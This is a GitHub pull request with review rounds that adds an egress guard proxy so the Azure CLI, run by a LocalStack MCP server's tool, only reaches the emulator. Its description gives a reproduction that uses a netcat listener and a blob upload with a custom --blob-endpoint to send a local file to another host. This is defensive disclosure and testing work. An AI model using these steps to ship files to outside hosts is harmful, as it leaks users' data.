Skip to content

feat(azure): keep az's network traffic on the emulator with an egress guard - #94

Open
DrisDary wants to merge 5 commits into
mainfrom
feat/azure-egress-guard
Open

DrisDary wants to merge 5 commits into
mainfrom
feat/azure-egress-guard

Conversation

@DrisDary

@DrisDary DrisDary commented Oct 13, 2026 •

Copy link
Copy Markdown
Contributor

What

Every az run now goes through an egress guard: a proxy on 127.0.0.1 that the Azure tool starts for that run and points HTTPS_PROXY and HTTP_PROXY at.

  • What it relays: CONNECT tunnels only, to the emulator's names (localhost.localstack.cloud and every name under it, localhost, 127.0.0.1, ::1), and it maps those names to loopback itself.
  • Everything else: refused with 403, including every plain http:// request, since the emulator only hands out https endpoints. The 403 names the host, and so does the tool's answer when the command fails.
  • DNS check removed: the emulator check no longer resolves azure.localhost.localstack.cloud. az reaches it through the guard, so it no longer needs DNS for it.
  • Docs: docs/AZURE.md covers what az can reach, what stops working (Bicep registry modules, URLs az downloads itself), and what the guard does not cover.

Why

A command can name any endpoint, and az sends it the file the command reads:

  1. Listen on this machine's LAN address, for example nc -l 192.168.1.20 8080.
  2. Ask the Azure tool to run storage blob upload --blob-endpoint http://192.168.1.20:8080 --account-name acct --account-key <any base64> -f <a local file> -c c -n n.txt.
  3. On main, the listener receives the file and a signed request. What az reports next depends on the listener's answer: one that answers like Blob Storage gets a success, nc gets a failure after about 85 seconds of retries. With the guard, the command fails at once with "blocked by the egress guard", the answer names 192.168.1.20, and the listener receives nothing.

A connection string with a BlobEndpoint behaves the same way. An https endpoint is refused too, but the storage SDK retries the refused tunnel for about a minute and a half before it gives up.

Not covered

The guard covers what honours HTTPS_PROXY and HTTP_PROXY: az itself, the Azure SDKs and MSAL, and Bicep. It does not cover programs that open connections of their own, such as:

  • the Docker daemon behind az acr login and az containerapp up --source;
  • a database client behind flexible-server connect;
  • extensions that open their own connections, such as the azure-iot device commands (MQTT).

It limits az's own connections and is not a sandbox: workloads in the emulator have their own network access.

Tests

  • egress-guard.test.ts, with real sockets:
    • it tunnels to the emulator's names on loopback without DNS;
    • it refuses every other host, naming it in the 403;
    • it refuses plain HTTP without connecting anywhere;
    • it answers a target that is not host:port with 400;
    • a client reset mid-tunnel, and an upstream that resets first, leave it serving;
    • close() ends open tunnels.
  • services.test.ts:
    • each run gets a guard of its own, closed afterwards, and its refusals come back with the result;
    • a tunnel to the emulator's ARM name on LOCALSTACK_PORT opens through it.
  • child-env.test.ts: no proxy variable of the server's (NO_PROXY, no_proxy, HTTP(S)_PROXY) reaches az.
  • output.test.ts:
    • a refusal gets one note, worded for an endpoint the command may name;
    • hosts az and Bicep call on their own are left out of it;
    • a timeout leads with the refusal;
    • a missing registry module gets a hint.
  • azure-smoke.yml has a new step: a plain-http listener on 127.0.0.1 is refused and sees no connection. That step fails on main.

@DrisDary DrisDary self-assigned this Oct 13, 2026
@DrisDary

Copy link
Copy Markdown
Contributor Author

@HarshCasper this is follow-up 1 from our plan, the egress guard. Every az run now goes through a local proxy that only reaches the emulator, so an endpoint in a command (--blob-endpoint, a connection string) can't send data elsewhere. Reproduction steps are in the description. Ready for review when you have time.

@DrisDary
DrisDary marked this pull request as ready for review October 13, 2026 11:49
@DrisDary
DrisDary requested a review from HarshCasper October 21, 2026 11:47
Comment thread docs/AZURE.md Resolved
Comment thread docs/AZURE.md Resolved

@HarshCasper HarshCasper left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I read the diff and ran it; today's docs commit only touches AZURE.md, so the runs below cover the current head. The unit suite and the build pass on this branch and on this branch merged onto current main (TypeScript 6, xmcp 1.9), and the guard only ends up in the Azure tool's chunk. I also ran real az 2.70 against a local Azure emulator, main next to this branch, with a listener standing in for an outside host.

The guard does what it says. On main, an http --blob-endpoint, an http connection string and 127.0.0.1 on another port all delivered the file and a signed request to the listener. On this branch each of them was refused in under a second and the listener got nothing. https, a decimal IP, an IPv4-mapped IPv6 address and a *.blob.core.windows.net endpoint were refused too. Resource groups, storage accounts, blob upload and download, a Bicep deployment and rest behave as on main, at about 40 ms more per call. With az's DNS lookups for *.localstack.cloud failing, main stops at the setup login and this branch works, so dropping the DNS check holds up. Driving the guard directly with odd hosts and ports, pipelined and smuggled requests, I could not get it to connect to anything but loopback. Thanks for the reproduction steps in the description, they made this quick to check.

Before I approve

  1. The refusal note blames the command for traffic the command didn't ask for. The bicep binary calls aka.ms on every build, and on a fresh profile az version fetches raw.githubusercontent.com. Both get refused and recorded, so every failed Bicep deployment, including one that failed inside the emulator, ends by telling the agent to fix an endpoint in the command. Inline on output.ts.

  2. The plain-HTTP relay can take the server down, and normal use doesn't go through it. A response with a status below 100 from anything on an allowed port throws in writeHead outside the try, and the server process exits. I reproduced it, details inline. Across 19 normal commands the guard saw 17 CONNECT tunnels and no plain-HTTP requests, since the emulator only hands out https endpoints. The follow-up we agreed on #86 was CONNECT-only, so I'd answer every plain-HTTP request with a 403 that names the host and keep HTTP_PROXY pointed at the guard. If you want to keep the relay, the callback needs a try/catch.

  3. The allowed ports should come from where the start action gets them. The start action reads EXTERNAL_SERVICE_PORTS_* from the call's envVars first and rejects an invalid range. Here only the server's environment is read, and an invalid value silently becomes 4510-4560. Inline on config.ts.

  4. Text that is now wrong, and docs that are missing a few things:

    • the tool description still says "rest reaches the emulator and other local hosts only";
    • the rest refusal in policy.ts:211 still suggests "one on a local host". rest --url http://localhost:2375/version passes the policy and is then refused by the guard;
    • the comment at services.ts:76 says az version makes no network call, which isn't true on a fresh profile;
    • AZURE.md should say what now stops working: Bicep registry modules, --template-uri, and parameter files given as URLs.

    The AZURE.md items are inline.

  5. Tests. The services test still passes when the guard is given no emulator ports at all. The new smoke step's ❌ check passes on main too, because the made-up account name doesn't resolve. Both are inline. Please also dispatch azure-smoke.yml on this branch once and link the run. It has only run on main's schedule (green the last three weeks), and it is the only test where real az goes through the guard.

Smaller items, inline

  • Put the host in the CONNECT 403 reason, so az's own error names it.
  • When a host was refused, the timeout answer should lead with that, not with "raise the timeout".
  • The port parsing in parseAuthority.
  • The toHaveLength(53) check.
  • The DNS sentence in emulator.ts and AZURE.md.

One note on the description: on main the listener does get the file, but az then fails after about 85 seconds instead of reporting success.

Later, not this PR

An https refusal still takes about 83 seconds. That is the storage SDK retrying the refused tunnel, not the guard. I left an idea on services.ts for stopping az early, which brought it under a second in my runs.

Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/services.ts Resolved
Comment thread docs/AZURE.md Resolved
Comment thread docs/AZURE.md Resolved
Comment thread docs/AZURE.md Resolved
Comment thread docs/AZURE.md Resolved
Comment thread docs/AZURE.md Resolved
@DrisDary
DrisDary marked this pull request as draft November 2, 2026 12:03
@DrisDary

DrisDary commented Nov 2, 2026

Copy link
Copy Markdown
Contributor Author

Thanks @HarshCasper, all done.

  1. Only a refused host the command names gets the endpoint advice. az's and Bicep's own calls get a neutral line. A missing registry module gets a BCP192 hint.
  2. The guard is CONNECT-only. Plain HTTP gets a 403 naming the host and is never relayed, so the writeHead crash is gone.
  3. The ports come from the start action's own parsing, so an invalid value is a configuration error, and 443 is allowed only without GATEWAY_LISTEN. AZURE.md says the tool reads the server's environment, not a call's envVars.
  4. The texts and AZURE.md are updated as you listed.
  5. Tests:
    • the services test now fails with no ports, or with only the gateway port;
    • the smoke step uses a local listener and fails on main.

The smaller items are done as well. The description now says what az reports on main.

Smoke run on this branch: https://github.com/localstack/localstack-mcp-server/actions/runs/41441677644

@DrisDary
DrisDary marked this pull request as ready for review November 2, 2026 12:32
@DrisDary
DrisDary requested a review from HarshCasper November 2, 2026 12:33

@HarshCasper HarshCasper left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round 2. I went through the new commit and ran it again. The unit suite and the build pass on the branch and with it merged onto current main. I also repeated the live runs with real az 2.70 against the emulator:

  • Every exfil case from round 1 is still refused, and the listeners got nothing.
  • az's own error now names the refused host, thanks to the reason phrase.
  • Normal commands are unchanged: 21 tunnels and no plain HTTP across the flows I ran.

The relay is gone, and the writeHead crash with it. The Bicep hint, the timeout ordering, GATEWAY_LISTEN and the config errors all behave as described. Thanks for running the smoke on the branch.

Before I approve

  1. The named/other split in the refusal note goes by text match, so common cases land in the wrong bucket.

    • A connection string in the usual form (AccountName=...;EndpointSuffix=...) is refused as <account>.blob.<suffix>, which isn't in the command text. So it gets the neutral "az or Bicep" line and no advice.
    • The same happens to a decimal IP or 127.1.
    • It also misfires the other way: a refused localhost:2375 counts as named when the command only mentions localhost:4566.

    There's a simpler approach inline that also covers the next item.

  2. A timeout now opens with whatever note there is, including the neutral one. So every Bicep deployment that times out for an ordinary reason starts with "tried to reach aka.ms".

  3. services.test.ts:171 fails when GATEWAY_LISTEN or EXTERNAL_SERVICE_PORTS_START is set in the shell; I checked with GATEWAY_LISTEN=:4566. CI sets neither, which is why it's green there.

  4. rest with an absolute URL. Refusing http://localhost:4566/... is right. But the suggested fix, "an https URL on the emulator", doesn't work for https://localhost:4566/... or https://127.0.0.1:4566/...: they pass the policy and the guard, then fail az's certificate check. Only https://<name>.localhost.localstack.cloud:<port> works. Inline.

Simpler

With CONNECT-only and close() at the end of every run, a fair part of the guard handles cases that can't happen or that Node already handles. I tried the changes below in a copy. tsc, the Azure and LocalStack suites and the build pass. az's Python and a real az storage blob upload get the same answers from it as from this branch, including under a few hundred abrupt connections. Details are inline on egress-guard.ts:

  • Parse the CONNECT target with URL instead of canonicalHost and parseAuthority.
  • Drop the linger timers; close() already reaps every socket when the run ends.
  • Drop the REASONS table, the sanitiser, the closed flag and the clientError handler.
  • Answer plain HTTP with a fixed 403.
  • Use one refusal note instead of the named/other split. That also removes hostOf and passing argv into the formatter.

Please keep the parts that stop a socket error from reaching the event loop: the client and upstream error listeners, the 502, ending the client when the upstream closes, and the try/catch around the CONNECT handler. Two of them have no test today. Add one test that resets the client mid-tunnel and one where the upstream closes first.

The doc comments can be about half as long, and the AZURE.md section can be tighter (inline).

Smaller items

  • egress-guard.test.ts:88 still accepts 200 or 502 for [::1]. Assert the dialled address instead.
  • The 099 upstream in the plain-HTTP test can be any listener that counts connections.
  • The regex in config.test.ts matches almost any message (inline).
  • Add a child-env test that NO_PROXY, no_proxy, http_proxy and https_proxy never reach az. With no_proxy=* in its env, the guard sees nothing, so this protects the guard from a later change to the allow-list.
  • Set PLAYWRIGHT_LIST_PRINT_STEPS=1 in azure-smoke.yml so the steps show in the log. Today the run only says 13/13 passed.

After these I'm happy to approve.

Comment thread src/lib/azure/output.ts Resolved
Comment thread src/lib/azure/output.ts Resolved
Comment thread src/lib/azure/services.test.ts Resolved
Comment thread src/lib/azure/policy.ts Resolved
Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/egress-guard.ts Resolved
Comment thread src/lib/azure/config.ts Resolved
Comment thread src/lib/azure/config.test.ts Resolved
Comment thread docs/AZURE.md Resolved
@DrisDary

DrisDary commented Nov 2, 2026

Copy link
Copy Markdown
Contributor Author

Thanks @HarshCasper, all done.

  1. One refusal note with your conditional wording. hostOf, the split and argv in the formatter are gone, and aka.ms, raw.githubusercontent.com and azcliprod.blob.core.windows.net (the host az version calls on 2.91) are left out.
  2. With those out, a timeout leads with the note only when there's a real refusal.
  3. The services test no longer depends on the shell; it passes with GATEWAY_LISTEN and EXTERNAL_SERVICE_PORTS_START set.
  4. rest takes absolute URLs only as https on a localhost.localstack.cloud name, and the message gives the working form.

I took the simpler guard as you laid it out:

  • one URL parse;
  • no timers, reason table, sanitiser, closed flag or clientError handler;
  • a fixed 403 for plain HTTP.

The error listeners, the 502, ending the client and the try/catch stay. There are new tests for a client reset mid-tunnel and an upstream that resets first, and each one fails without its listener or handler.

I also dropped the port list, as you offered. That takes out the start-action dependency and the envVars caveat.

The smaller items are done too. AZURE.md is shorter.

@DrisDary
DrisDary requested a review from HarshCasper November 2, 2026 21:32

@HarshCasper HarshCasper left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Round 3. I read the new commit and ran it again:

  • The suite passes with the branch merged onto current main.
  • The Azure tests stay stable over repeated runs.
  • The services test now passes with GATEWAY_LISTEN set.

Live, with az 2.70 against the emulator:

  • Every exfil form from the earlier rounds is refused, and the listeners got nothing. The https and connection-string cases now get the note with the host az actually tried.
  • Normal commands work, and a failed Bicep deployment no longer carries a note.
  • In successful runs the only refusals were raw.githubusercontent.com (once per fresh profile) and aka.ms (every Bicep build), so the background list is right for 2.70.

The guard reads much better now. Thanks for taking the port list out too.

Before I approve

  1. Leaving raw.githubusercontent.com out of the note was my suggestion, and it has a side effect. --template-uri https://raw.githubusercontent.com/..., and parameter files from that host, now fail with only az's "Unable to retrieve url", which reads like a network problem. That host is where most quickstart templates live. A hint in failureHint for that message fixes it without bringing the command-text matching back. Inline.
  2. Three test assertions, inline: the [::1] tunnel's answer, the 443 default, and the upstream in the reset test.
  3. Please dispatch azure-smoke.yml once more on this commit. The last run was on 6eec6ee, and the step's expected text has changed since.

Smaller items, inline

  • The rest message prints <LOCALSTACK_PORT> literally.
  • AZURE.md shows @https for parameter files.
  • AZURE.md could use one sentence about other LocalStacks on this machine.
  • The note's wording is off when it names several hosts.

One more without a line to attach to: the last test in services.test.ts still sets LOCALSTACK_PORT and starts a gateway it no longer needs. Its check fits in the first test.

On the next push I'll approve.

Comment thread src/lib/azure/output.ts Resolved
Comment thread src/lib/azure/output.ts Resolved
Comment thread src/lib/azure/egress-guard.test.ts Resolved
Comment thread src/lib/azure/egress-guard.test.ts Resolved
Comment thread src/lib/azure/policy.ts Resolved
Comment thread docs/AZURE.md Resolved
Comment thread docs/AZURE.md Resolved
@DrisDary

DrisDary commented Nov 4, 2026

Copy link
Copy Markdown
Contributor Author

Thanks @HarshCasper, all done:

  1. failureHint now covers Unable to retrieve url and a URL given to --parameters, so --template-uri and parameter files on raw.githubusercontent.com say why they failed.
  2. The three test gaps are closed: the [::1] 502, the 443 default, and the upstream closing in the reset test. Each one fails with its line removed.
  3. azure-smoke on this commit: https://github.com/localstack/localstack-mcp-server/actions/runs/41843827173

The inline items are fixed. The last services test is gone, and its check is now in the first one.

@DrisDary
DrisDary requested a review from HarshCasper November 4, 2026 14:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants